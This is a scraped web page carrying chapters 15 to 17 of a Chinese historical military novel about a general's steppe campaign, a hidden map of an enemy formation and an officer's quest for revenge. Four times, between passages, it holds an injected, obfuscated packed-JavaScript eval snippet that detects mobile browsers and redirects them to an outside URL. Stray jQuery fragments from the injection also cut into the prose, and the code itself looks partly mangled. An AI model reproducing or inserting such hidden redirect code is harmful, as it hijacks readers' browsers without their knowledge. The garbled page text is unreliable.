;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099126|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白阳来爽朗一笑说:“烤肉最佳。” 徐副将不甘示弱,从马上拿来了自己的酒壶,塞子一拔,酒香四溢,白阳来向他拱手表示佩服,徐副将哈哈大笑给自己灌了一口。 且不说躲在暗处的流寇如何被馋的眼睛发绿,就是睡着的燕邦乘都生生被香醒了。 他单手拉着披风过来坐下说:“两位将军好兴致啊。” 徐常青将酒壶递给他说:“燕队正这一趟为我军平添了多少底气,我心中高兴啊!” 燕邦乘谢过他说:“家里有规矩,在完成任务回家复命之前不能喝酒。” 徐常青理解:“是啊,无规矩不成方圆,我军也是纪律严明才有今日。给你这个,这个是药酒,你喝两口无妨。” 燕邦乘这才发现原来他怀里有两个酒壶,一个是酒香浓郁的,另一个才是他刚才灌了一口的。 燕邦乘不再推辞饮了一口,这酒入口竟是酸的,喝着有些苦咽下之后还泛起一点凉,令人头脑为之一清。他不客气地又喝了一口大声夸道:“这酒够劲儿!”然后用低下来的声音说:“我们队里也带的有,这个用来清洗伤口之后再敷伤药能让伤好得更快,是个好东西。” 徐常青大声笑给暗处躲藏的人听:“郎君你懂酒,哈哈哈哈,来吃块肉,你瞧这多香,还流油呢。” 草原上的流寇闻着听着望着都快疯了,他们随着燕邦乘的动作一起张大嘴、咬下去,看着别人咬了满嘴肉自己却上下牙咬空的感觉让他们的脑袋“嗡”的空了一瞬,下一瞬,再也忍不住了的流寇嚎叫着冲了出去。 戒备多时的运粮队众人一手放下酒肉,一手抽出了兵器。 天上的月光由静便冷,草原上的喊杀声传得远了渐渐飘散在了风里。 15. 第 15 章 第二日一早,燕昭鹏醒来得知白阳来在自己睡着之后带兵去接应父亲送来的粮草至今未归时,不由深感愤怒:“什么都不告诉我!我就说安神汤那种东西我就不能喝!”燕庭阔低眉顺眼地想:郎君这话要是让关大夫听见怕是又有一架好吵。 燕昭鹏愤怒地双手握拳锤被子,其实他心里明白,下人们不告诉他这些是因为在燕墨闻看来家里的琐碎杂物他处理一下就可以了,没有必要让儿子为这些事情费神。算了,燕昭鹏思索着对燕庭阔说:“白郎君的马快,但粮食走得慢,他们押着粮食大概什么时候能到?” 燕庭阔说:“回郎君,白将军若是接到了运粮队定会传信回来的,至多两三日应该就有消息了。” 燕昭鹏翻身下床:“这个时机倒是好。大营休整之时可不是是补充给养的好机会,这样一来就算要安排下一步的战事也会为粮草接应留出足够的时间和人手。” 燕庭阔称是。 燕昭鹏知道雍大将军今日会升帐议事,便准备等会儿去请安时问一问自己能不能旁听。 雍大将军不但同意他参与聚议,而且还留了他一起用早饭。 不过燕昭鹏吃东西讲究多,于是虽然是同桌共食,但还是各吃各的。 其间,雍大将军与燕昭鹏谈论兵法,聊得十分愉快。雍长龄钦佩燕家教子有方,小郎君虽然身体不好,读书修习却未有不到之处。燕昭鹏敬佩雍大将军见识广博又心胸宽阔,言语中只有肯定与引导,并不因为自己是晚辈只会纸上谈兵而轻视或说教与他,一番谈话下来真令鹏受益匪浅。 只可惜今日议事仍旧没有结果。雍大将军吩咐两日后结束休整恢复训练。 众人散去后雍大将军留下了几位老将。他一改方才的面无表情看着几个老将眼神发沉,显然是要发火。在场的几人跟随他多年,此时一看这情形立刻开始在心中飞速回想可能得原因,同时默契地在雍大将军面前站成一横排,方便他骂人的时候眼神一扫就能够怒瞪所有人。 雍长龄语沉声冷:“年轻将军仗打得少,有些事情想不到算是情有可原,你们这些久经沙场、水里火里滚出一条命来的老东西,这两天是昏了头了?” 几位五大三粗的将军个个低垂着头乖乖听训,不发一言。 雍大将军几人这幅样子就知道他们还没反应过来自己在气什么,否则绝不可能这么老实。于是干脆点出关键:“年轻人不知当年事,以为雄踞草原的王城也跟之前那几个城一样迂回包抄、一顿猛攻,再不济用点子水火就能拿下,你们也不知道吗?” 雍长龄怒道:“一上来就担心七战七捷之后朝廷会如何处置我们,不知道的还真以为岩陀岭王城随随便便就能拿得下来,还是你们已经把它给我攻下来了?” 几人头垂得更低了,以至于从背后看几人挨在一起的肩膀像一面参差不齐、互相支撑着的墙。。 这种含胸垂头的挨骂态度看来还是不错的,雍大将军骂了几句之后怒气渐消,开始好好与他们分说:“暂且不论赢了之后如何,那都是后话。就先说说剩下的这两场仗。前营,豹王和鹰王现在谁在前营驻守我们都不知道,不了解主将的仗该怎么打,你们仔细想过吗?” 程荥想说什么被元淮偷偷碰了一下按捺住了,于是雍大将军只看见他上下点了个头。 “突破了前营之后便是王城,王城的情况你们了解吗?那个护卫王城的八卦阵你们过得了吗?”雍大将军说到这儿又忍不住气起来:“这些事情不知道好好想想,当着后辈的面一个个起什么哄?”至于朝廷里那些人对他们打什么主意,雍大将军说:“车到山前必有路,管它怎样,我们问心无愧那就什么都不怕!” 众人齐声应道:“是!大将军!” 紧接着,程荥拱手禀报说:“萧懋萧将军一直在研究豹王和鹰王,想来应有所得。” 元淮也拱了手说:“自从我军安营休整,斥候营的军帐好像就一直挺空。” 润和大营的斥候营是专门为大军候望军情的人马,一部分在明,一部分在暗,除了在战场上发挥作用之外,在其他有需要的地方也发挥着极其重要的作用。如今随营的这部分就是明面上的斥候,他们从大军集中休整开始就借着在营区周围布防的机会悄无声息地散了出去,为大军收集前营和王城的情报去了。 雍大将军哼道:“那你们呢?你们做了什么准备?” 程荥说:“出发前我找到了一些与泼岩麻部有关的典籍,这几日得闲正在查阅,有一本手记上说岩陀领王城初建时是专供泼岩麻王族所居的宫殿,外围的八卦阵是初代双翼狮王从我朝抓了工匠过去修建的,建好之后为了保密他下令将那些工匠从王城后方的悬崖上抛了下去。那悬崖不知多深,手机上说‘投石而不闻落者音’,也不知道下面有什么,但是据说的确有人没死,还画出了八卦阵的地图留与后人。” 元淮向他伸手:“图呢?” 程荥无辜道:“我哪来的图,那手记上没说。” 一直未开口的云剑南此时拱手对雍大将军说:“关于王城,斥候可探查大概的情况,但八卦阵内部的情况斥候恐怕难以查探,还是要从典籍卷册中来。不瞒大将军与众同僚,我在帝都时也曾查过,但没查到什么有用的东西。不过,现下营中有个人可能知道。” 元淮立马问:“谁?” 程荥:“你是说燕家那个小郎君?” 云剑南点点头:“正是。燕家从多年以前就有收留接济老弱残兵的家矩,会有专人为他们代写书信,也会记录下老兵们的各种见闻。燕老将军也是世家出身,平素最喜读游记,燕府的藏书说句价值连城可一点儿都不过分。” 元淮听了这话有几分高兴又有几分担心:“可是燕小郎君这么年轻,身体又不好,谁知道他看没看过呢?现在会帝都找书也来不及吧?” 雍大将军想起燕昭鹏与自己交谈时的大方得体,说:“若是有心,他应该看过。” 燕昭鹏不但看过,而且还带来了。接到雍大将军传召后,燕昭鹏去应召后不久,便让亲卫将两个书箱抬到了中军帐内。 帐中众人包括雍大将军在内如获至宝,纷纷开始看书。燕昭鹏在家整理出这些与草原和北方部族有关的书册典籍后直接装箱带了出来,自己也未及细看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099127|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大营中的日子就这样过了数日,斥候传回了徐副将的消息。他们顺利地接到了粮草,并与意欲抢夺粮草的流寇展开了交战。在交战过程中白阳来发现了流寇的老巢,已带兵清剿。粮队不日将归。 这实在是个好消息,胡山海……胡山海还未高兴就见雍大将军面沉如水,他立刻闭了嘴告退,去安排十万担粮草的安置工作了,十万担,十万担啊! 雍长龄压着火说:“主次不分!押着十万担军粮剿什么流寇老巢!亏我对他寄予厚望,竟然这样不知轻重。徐常青还就让他去了?本末倒置!” 在场众人谁也不敢替二人求情。论说白阳来徐常青这两个人虽然年纪不同,却一个比一个稳得住,他们会在押运军粮之时分兵去剿流寇老巢想来其中必有因由。只是现下原因未知,不好为之讨情;再则军中纪律严明,不论什么原因,错了是定要受罚的。 雍长龄自然也清楚必是事出有因,而且原因一定很重要。可是草原茫茫,危机四伏,他们一营一队人马押着十万担军粮,一天没有回来他就一天不能放心。雍长龄表现在众人面前的虽然是愤怒但心里有的其实是止不住的担忧。 燕昭鹏这几日每天一大早就去给雍大将军请安,然后两人一同用饭,饭毕就在中军帐内看书,已经好几日不再在营中乱逛了。这天黄居养突然派人相请,雍大将军听了来人所报就替燕昭鹏答应了:“出去走走吧,身体舒坦了就不要总憋在帐中。你放心,现下情况不明我暂时没有动兵的打算,一切等小羊他们回来再说吧。” 燕昭鹏于是告了个罪就放心地去玩儿了。 黄居养闲人一个,今日说自己是个厨子,明日说自己是个大夫,认得的药材还没燕昭鹏多。两人一见面就是打哈哈,一递一还说些个俏皮话,倒是轻松惬意,挺让人开心的。他听说燕昭鹏带了几箱子书来营里,便说自己也带了书,要送小友两本。燕昭鹏摆手婉拒:“如今正忙着呢,我长这么大好不容易遇见这一件正经事,承蒙大将军看得起我,我不得认认真真地干好了?等我闲了再来向你讨书看吧。” 黄居养看起来年纪并不大,但莫名有一种作风老派的感觉,他身形瘦削,衣袍宽大,纹饰华丽却尽是与底料同色的暗纹,闻言掸了掸膝盖上的衣摺淡笑着说:“你先拿去,我这书保管好看。” 燕昭鹏只好道谢收下。 只是黄居养给的一盒子书被放在燕昭鹏床头的小几上之后就再也没人动过了,因为,燕郎君又病了。 雍大将军得知后亲自来看,他来时关阙正在给燕昭鹏开方子,雍长龄焦急问道:“燕将军在信中特意与我说过他不能劳累,可是近日累着了?” 关阙恭敬道:“大将军,草原风大,我家郎君经不起这个,稍有风邪入体便要病倒。鄙人已开具药方,修养几日就能好了。” 雍长龄这才放下心,交代关阙有需要尽管开口,又看了看闭着眼睛躺在床上的燕昭鹏,心中突然一痛,恍惚间好像看到了躺在床上的雍平康,也是这样安静地闭着眼睛。 雍长龄一下子就受不了了,勉强做了个让众人自便的手势就离开了燕昭鹏的军帐。 16. 第 16 章 等燕昭鹏有力气坐起来已经是几天之后了,亲卫告诉他白将军快回来了。燕昭鹏想,正好,我也快好了。 晚上,他乖乖地闭上眼睛,这一次终于睡了个好觉。 燕昭鹏觉得人能睡个好觉真是一件幸福的事,他一觉醒来觉得精神百倍,对难得睡个好觉的人来说,这种感觉太稀有了。他心里正高兴着,一眼看见在小几上放了好几日的书盒,精神好正适合看书,燕昭鹏好奇地将盒子打开:黄郎君给我的是什么书呢?原来是游记,确实是燕昭鹏喜欢看的书,左右无事,他便看了起来。等到白阳来回营之时,他已经看了两本了。 白阳来风尘仆仆地近来,在燕昭鹏床前五步的距离停住,关切地问:“听说你病了,现在怎么样?” 燕昭鹏见他回来心中高兴,有病也好了,更别提他本来就已经无碍了。燕昭鹏笑着举了举手中刚看完的第二本游记说:“都好了,游记都看了两本了。放心吧。”他一病雍大将军便下令不许他再为战事操劳,好生养病要紧。燕昭鹏从来听劝,也就没有再去出去过,乖乖地呆在自己帐中安心养身体。 白阳来回营向过雍大将军复命之后就赶着过来看他了,还带着满身尘土,怕脏着他也不敢走得太近,就在床前站住先说两句话:“没事儿就好,你先看着,我去换身衣服。” 燕昭鹏说:“你好好洗个澡,用热水,别用凉水。”对于行军在外的人来说,热水也是很稀罕的,不过在燕昭鹏面前这也不算什么。白阳来答应道:“好,用热水。” 军营中条件有限,白阳来洗澡的地方是用屏风隔出来的,就在燕昭鹏床榻旁边,两人还能交谈。 燕昭鹏问他此行如何,白阳来说一切顺利。 “大人给的这十万担粮草都是上好的,有了这些我军在草原上再杀个七进七出都绰绰有余。”白阳来显然很开心。 燕昭鹏默默算了算:“这么多粮食,你们赶路赶的很辛苦吧。” 白阳来说:“我们还好,运粮队的队正才是很辛苦,我们遇见时他还受了伤,这一路赶来真是累得不行了。原本见过大将军他就要来给你请安的,我让他先去休息了,等休息好再来见你也可以好好说会儿话。” 燕昭鹏对他的安排很是赞同:“正该如此。此次运粮一切顺利,在我这儿也当是大功一件,”他对燕庭阔说:“都赏,直接取银票,他们好带。” 燕庭阔应是。 白阳来没再说话,有不紧不慢的水声传来,燕昭鹏听着水声打开了手中的第三本游记。 白阳来洗完澡换上了干净的新衣服,擦着长发从屏风后走出来,燕昭鹏直挺挺地床上拥被而坐,低着头看手里的东西,半晌不动。白阳来一下子紧张起来,两大步跨至床边:“怎么了?” 燕昭鹏抬起头来,声音有些僵硬地说:“你知道泼岩麻王城外围有个八卦阵吗?” 白阳来说:“知道啊,叫‘金刚八卦阵’,泼岩麻部相信,只要有它在王城就固若金汤。” 燕昭鹏咽了咽口水有些气虚地问:“那你,见过这八卦阵的地图吗?” 白阳来伸手握住他的肩膀说:“没有。你怎么了?怎么说话这个样子?觉得哪里不舒服?” 燕昭鹏皱着脸说:“我觉得哪儿哪儿都不舒服。”他将手中的东西捧起来递到白阳来面前说:“你现在见过了。” 白阳来不解:“什么?” 燕昭鹏双手奉上:“八卦阵的地图。” 白阳来低头一看不禁深吸了一口气,他手中捧着的丝帛上赫然写着“敕造金刚八卦阵图”。 润和大营中军帐里,雍长龄看着面前的地图:“你说这是你从哪儿发现的?” 燕昭鹏老实地说:“黄居养黄郎君给了我一盒子游记,里面第三本里有个暗格。”燕昭鹏有些无奈地想:这黄郎君可真喜欢暗格。 白阳来见雍大将军一直未正眼看自己,想起自己在押运军粮途中擅离职守去清剿流寇之事,不免愧疚于心,也不敢多话,只收敛气息站立一旁静待雍大将军处置。 雍长龄知道黄居养这是再借燕昭鹏之手将这张地图送到自己面前,这是什么意思?他想要润和大营打下王城?那为何不明说? 雍长龄看着地图不语,燕昭鹏拢了拢身上的披风,雍长龄抬头看见他身上的披风想起他刚刚病愈,就这样穿过营地从自己的营帐过来送图,不禁有些后怕:这要是再吹了风可怎么好。 燕昭鹏见雍大将军不看图看他,先是不明所以而后瞬间反应过来:“大将军我没事儿,我没吹着风。”他把手从披风里伸出来给雍长龄看自己的风帽,“我戴了帽子。” 雍长龄神色严肃:“你是自己走过来的?营地这么大,你大病初愈就走这么远的路过来,累着怎么办。让人把你那辆不透风的车赶过来,你坐车回去休息。剩下的事让我先想想,放心,有什么动向一定立即派人告诉你。去吧。” 燕昭鹏脸都涨红了,营地是大,但他也是堂堂七尺郎君,坐车回去算怎么个事儿?但雍大将军话里的意思,显然没有留下让他分说的余地。燕昭鹏气鼓鼓,红着脸告退了。 出帐之后他坚持要自己走回去,马夫之好赶着马车跟在他身后,看起来更显眼了。但是显眼又如何,大家都看到了燕长史堂堂七尺郎君是自己走回去的!没有坐马车!一点儿都不娇贵! 燕昭鹏离开后,中军帐内只剩下雍长龄和白阳来一坐一站。 雍长龄挺胸负手目光平静:“说吧,为何擅离职守去剿流寇?” 白阳来一掀衣摆跪了下去,老老实实地说:“末将有罪,请大将军责罚。” 话说从头,当夜他们诱出埋伏的流寇之后一阵厮杀,血腥味一出将方才所有的味道都盖了过去,那是一种浓重的、带着铁锈味儿的腥气。虽然夜深,但月色很亮,将士们都留心注意着凡是冲出来的就没有一个人能逃走。杀到最后,还活着的流寇开始跪地求饶。 怎么可能饶过他们,且不说将士们押运军粮根本分不出人手再押俘虏,就算压回去又待如何?若让这些流寇在营中为奴,不啻于在粮仓中放入一只老鼠。这些人贪得无厌,毫无忠诚可言,只会在受到威胁的时候害怕,在不被威胁的时候威胁别人。每一个大营里都有一些不成文的规矩,比如哪几种人是必杀的,因为前车之鉴在这种人身上已经付出了可怕的代价,所以后人大可不必再试,遵照执行以保安全就够了。流寇便是其中一种。 然而人都是畏死的,尤其是苟且偷生惯了的人。 一流寇眼看要就要被砍死,抓住同伴挡了一击之后,跪在地上冲白阳来举起一块牌子,用不熟练的汉话惊慌错乱地喊道:“你们不能杀我!我……我有保护神,你们汉人不能杀我!保护神,不要杀我不要杀我!” 白阳来原本全不理会,一心只想着迅速结束战斗离开此地,草原开阔又有风,血腥味会传的很远,这是很危险的事。然而在挥刀落下的一刹那,刀面映着月光照在了那块被奋力举高的牌子上,让白阳来看见了上面脏污的花纹。 饮血长刀被修长有力的双手翻转又握紧,带着温热的血花挥出一阵凉风冲着流寇的门面直袭而来,那流寇跪在地上两股战战三魂已被吓掉了七魄,万万没想到刀刃却在他面前停住,那人双目紧闭浑身脱力,双手一松,手中的牌子掉在了白阳来的刀面上。 白阳来凤眸一紧,双目沿着那刻在牌子上的纹路将上面的花纹盯了一遍,一边看一边与心底深处的记忆一寸一寸对照,两处的纹路一寸一寸相合,竟然是一样的,竟然是他记忆中的纹路。 白阳来压着眼锋勾唇一笑,飒然畅快又美又毒,跪着的流寇从下向上胆寒地注视着他月光下白得发青的面庞,他的脸在刚刚过去的厮杀中染上了不知谁的血,此时一笑仿佛笑中都带着血气。 白阳来将那牌子握在手里问:“哪儿来的?” 这声问话语音嘶哑,泛着彻骨的寒,在地上的流寇听来只觉得自己若是晚说一瞬便要被冻死在当场:“是是是我们头领……头领衣服里偷的,他说有保护神,你们汉人,不杀。” 白阳来面上无波,语调平静:“头领在哪儿?” 流寇先是一顿,然后开始拼命磕头:“我带路我带路!不要杀我!不要杀我!” 白阳来收刀转身,头向后轻轻一偏,跟着他的亲卫会意上前将那流寇困成了粽子。 白阳来请徐常青借一步说话,两人向外走开约二十步,白阳来双膝跪地吓了徐副将一大跳。 “干什么干什么,有话好说你这是干什么?”徐常青连忙就要扶他。 白阳来目光湛湛,面上一派平静地呈上了那块牌子说:“我初入世时遇到的恩人死在身上带着这块牌子的人手中,我曾立誓报仇。这么多年这是第一次得到线索。求徐将军成全。” 说完,他一个头叩在地上。草原夜晚的寒风从背后吹来,没有阻挡地吹透他的心口,这具身体的心口处是一个空空的大洞,风吹过,把冷永远留在了那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099128|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 凤眼抬起盈满期冀地看向徐常青:“求您允准。” 早在白燕二人带着地图来见雍长龄之前,徐常青跪在差不多的位置上向雍大将军认错道:“他当时那个样子我看着就说不出不行来,我感觉要是我当时不许他去那他一定就不去了,会乖乖压着粮回来。但是回来之后他一定会自己再去找的。大将军,草原上这么大一个他可怎么找?我想了想还是同意了,一来白将军对上流寇也就是跑一圈马的事儿,二来我们带去的人手护卫军粮还是足够的,天亮之后比起夜里也安全许多。三来,白将军自从入营不论是平时操训还是战时上阵从无二话,样样出色,这是他第一次求我,我实在,不能不成全他之所愿。”徐常青说:“大将军是末将的错,末将认罚。” 此时白阳来跪在差不多的位置上也对雍大将军说:“末将认罚。” 雍长龄看着跪在自己面前的白阳来,刚洗完澡头发还湿着,松松地梳着半髻,一脸乖巧干净的样子,点了点头说:“既然你们都认罚,那好。今日先回去吧,让我好好想想怎么罚。” 白阳来回到帐中,燕昭鹏没睡正在等他,一眼看见他新衣膝盖处的土印子,不禁问道:“这是怎么了?” 白阳来正好把事情跟他从头说一遍:“我在那些流寇聚居的洞里找到了他们首领,他说这是在草原上行走的一群汉人佩戴的,这就对上了,欺负小羊的就是汉人。那个流寇见那伙汉人向另一伙人出示了这个牌子对面的人就收起了刀枪还给他们东西。那些流寇的头领不知怎么偷到了一个牌子,还管这个牌子叫‘保护神’,说有了它遇见汉人能保命。那个流寇因为要来埋伏我们害怕会死就从头领衣服里偷来了这块牌子。” 燕昭鹏对白阳来的事向来上心,听说报仇有望比他还急:“那有其他的线索吗?那些人是什么人?不对,大将军罚你了吗?罚你什么了?” 白阳来摇摇头语气中尽是失望地说:“他们只知道那些人凭牌子验证身份、交易货物,其余一概不知。”又答:“我违反营规肯定要罚的,不过大将军说他要想一想。” 燕昭鹏替他分析道:“如果那些人这么多年都在草原往来贸易,那么我们费些力气一定能查到。他们与人交易货物总有买家和卖家,查就是了,我不信找不着!” 白阳来也是这么想的,只是:“茫茫草原,恐怕不是那么好找的。” 燕昭鹏说:“急什么,总能找到的。” 白阳来轻笑了一声,身着里衣仰面躺在了床上,认真地说:“可我很急。” 燕昭鹏没听清:“什么?” 白阳来用力压抑着什么,用有些缥缈的声气说:“我真的很急。很急地想报仇,想杀人。当我隔了这么多年再次见到那个纹样的时候,一切都是那样的历历在目,我仿佛站在当年一切发生的现场。” 他的声音变得冰冷残酷:“那种感觉,与当年一般无二,我想撕碎他们所有人,一个不留。” 白阳来双眼看着帐顶,隐忍地说:“我一点都没有忘记,这么多年了,我都不知道我竟然能记得那样清楚,一点点都没有忘记。我心里的恨,一点都没有少。” 不是所有仇恨都会如此刻骨铭心,但白阳来失去与他相依为命的小羊对当年的他来说就是失去了一切。失去一切是什么感觉?是一种被全世界抛弃的感觉,令人无限恐惧,绝望得近乎窒息。更可怕的是这种窒息是不会真的致死的,只会让人活着面对所有的残酷,回忆会在心中一遍一遍重复着凌迟,直到伤痛而死或者从此变得麻木。生活一日日重复,没有尽头,但世界已经不一样了。从前有的东西以后永远都不会再有了,被留下的那一个承受所有的后果,是难过?是愤怒?是仇恨?还是悲伤? 在事情发生的刹那白阳来是没有时间去想这些的,他只是遵从内心的情感用捶打撕咬的方式发泄自己的恐惧和悲伤而已。在事情过去之后他多活的这些年里,他已经像反刍一样将当年之事和当年之情一遍一遍,一点一点在心中想的明明白白的了。除非按着他的心意完成复仇,否则昔年死去的小羊和小羊身边站着的当年的自己就永远在凝望他、质问他、期待着他,不入轮回也阻拦着他完成全部的新生。 创伤哪怕埋在心底最深处也一直都在,生活之所以能够以平静的表象继续下去,只是为了不辜负死而复生的好运。 白阳来没哭,燕昭鹏替他哭了:“你一定能报仇的,你从不辜负任何人,也一定不会辜负小羊和当年的你自己。” 17. 第 17 章 新到的十万粮草让润和大营上下焦躁尽去,呈现出一派从容祥和之气象。 雍大将军再次升帐,新绘制的地图也在帐内高高挂起。雍长龄坐在上首对众将说:“我军一入草原便拔下了泼岩麻部五座卫城,又在此盘桓了不少时日,然而草原上却对此几乎没有反应,若不是他们暗中动作尚未被我军查知那便一定是其部族内部出了大问题以至于如此无暇他顾。再者,自进入草原以来我向朝廷上报的折子未获一字批复,上意未明何去何从实难决断。所幸,前日我军获充粮草十万担,无论战否今年之内再无衣食之忧。既如此,我们便可放开手脚在这草原上尽心筹谋一番了。”雍大将军拿起马鞭指了指地图:“我欲寻一处地势优越可长期驻守之地迁营,一来让将士们安心起居操练,二来也便于探知敌情消息伺机谋战。众将以为如何?” 寻一进可攻退可守之地长久营谋实为老成谋事之法,大家这些天囿于前营和王城战与不战之间苦无两全之法,如今听雍大将军如此打算,心中俱是豁然开朗。可不是吗,王城就在那里又不会跑,何必急于决断,所谓事缓则圆,现如今既然各方面形势都不明朗,倒不如退一步经营好自己,等时机到了,事情自然可解。 大营驻扎期间各位将军都曾去四周查看过地形,虽然地图是新绘的,但图中标示出来的地方大家或多或少有所了解,此时正好集中一起讨论。 元淮第一个站起来:“启禀大将军,图上的这个地方末将去过,那里地势开阔平坦适合大军扎营,但若在此处扎营则取水之处是在这一条溪流的中段,末将觉得不甚安全。若是能往上游找一找应会更好。”他指了指地图上的一点说出了自己的意见。 雍大将军说:“元将军所言不错,但此溪上游地势狭窄我军人数多,辎重物品也需要存放,恐没有合适的地方。” 萧懋起身说:“启禀大将军这条小溪源头是一座山,虽然离得远了一些,但末将以为此山若可做依托,对我军在此处的长期经营甚为有利。” 雍长龄看着地图思考萧懋的意见:“若如你所言,确实更为有利。不过那溪水的源头我倒是真没去过。那里情况如何?” 萧懋说的地方因为距离大营现在的驻扎地比较远,所以除了斥候和萧懋还真无人去过。 斥候营营正叶真起身道:“启禀大将军,此山在草原上算是高大,末将曾在山下查看过,但并未上山,若要选择此山为我军营地还请大将军稍待,容末将前去将详细情况探查清楚再来回报。” 雍大将军想了想说:“你专心探查王城,豹王和鹰王所部的情况也要尽量多掌握一些,不必为此事分心。日前白泽在运送军粮途中擅离职守还未处罚,就罚你前去水流源头将那处的情况探查清楚回来报我。若是果然合适,那扎营之前的清理打扫也由你们前锋营一并承担了。” 白阳来起身单膝跪地:“末将遵命。谢大将军轻罚。” 徐常青耐心等雍大将军让他起身之后说:“这可说不上是轻罚。草原上好山水少,只要有说不得就被谁占了。那些看起来好却没有人际的地方必然有令人避忌的危险。你此去定要小心,记得着便衣,注意不要露我军的身份。” 一位名叫梁云的年轻将军抱拳请教道:“我军在草原上不说所向披靡也差不多了,白将军又武艺高强,为何要如此谨慎?” 程荥明白徐常青的担心,替他答道:“梁将军细看那溪水的源头,那个方向再过去就是杂部势力活跃的地带。白将军要去探的这座山差不多是处于泼岩麻势力与杂部势力的交界之处,平时无事还好,若是有什么风吹草动,那边因为两方都能管得到又都不太管得住,所以人员往来会更为复杂。” 雍大将军强调了程荥提出的重点:“两方势力范围的交界处是最好钻空子的,尤其是杂部领地与其他部族的交界处。因为杂部是由一些小部落联盟而成的,互相之间关系松散,外然根本搞不清楚都有哪些,所以很多汉人到草原行走为了安全和方便也会假托杂部的身份。两方势力都能管到的地方,也是他们管束能力的边界,只要不长久停留,那便可以说是不受管束的。此外,杂部虽然一盘散沙没有人能统一号令,但在草原上这群人比流寇更危险,他们自己部落内部很团结,战力强但大都目光短浅性格冲动,所以行事杂乱为蝇头小利便出手狠辣。我军若一开始便亮出身份那等于是给了他们一个明确的标靶。” 徐副将完全赞同并且补充道:“别的不说,咱们刚来的那十万担粮草要是让这些人闻着一点儿味儿,那整个杂部怕不是都要疯了!” 确实,别的也就罢了,粮草可是杂部必争的东西,对这些混杂居住的草原小部落来说,粮草比旁边部落的人命那可重要多了。 可是,我军是准备长久停留的呀,那该如何是好? 先锋营将军百十兆出主意说:“要不我们装成其他大营的人去?不然不好穿盔甲啊,便衣不安全。” 这话倒是说到点子上了,自家将士的安全的确很重要。但是梁云问:“咱们有其他大营的盔甲吗?” 元淮、程荥、徐副将和百十兆同时看着他露出了和善的微笑。 雍大将军也在上首和蔼笑道:“我军与其他大营都是大睿朝的好将士,一同保家卫国,互相有些衣饰盔甲什么的,都是军中情谊。” 原来如此,梁云受教了。 事情议定之后大家各自散去做准备,白阳来回帐与燕昭鹏一说,感觉身体大好正需要松松筋骨的燕大郎君表示他一定要一起去。白阳来午饭后与徐副将约定去取衣裳盔甲,燕昭鹏也跟着一起过去了。 徐常青一听燕昭鹏也要去未知之地探查,立即试图劝阻:“千金之子坐不垂堂,燕长史何止万金,这种事情你如何去得!” 白阳来看向燕昭鹏,眨了眨他今日看起来睁得格外圆的凤眼。 燕昭鹏知道他这是正在忍耐,其实心里一定笑得很大声,不过自己对此早有准备。 只见燕长史笑容灿烂地问:“徐将军,中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099129|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午的饭菜将军觉得可好?” 徐常青警惕道:“甚好。” 燕昭鹏又问:“米粥好喝吗?” 徐常青戒备地答:“好喝。” 燕昭鹏一副欣慰神色点点头说:“可不是嘛,我也觉得好喝。”他非常做作地顿了顿:“澄州的新米,能不好喝吗?”附带一个乖巧眨眼。 徐常青恍然,徐常青无奈,徐常青在心里想了想自己一路押运一路越看越喜欢的十万担军粮。 哄好了自己的徐将军吩咐管库房的小吏给燕家大郎君找衣服。不过不是燕昭鹏一个人,是燕家的整个亲卫队,徐常青这才觉得放心了些。 白阳来整装完毕来报雍大将军,雍大将军说:“上次议事时梁云在下面嘟哝了一句你听见了吗?” 白阳来答:“末将听见了。梁将军说:‘我军是准备长久停留的,这该如何是好?’” 雍大将军说:“虽然我们最后不一定会在那里扎营,但如果遭遇杂部袭扰,你以为我军该如何是好?” 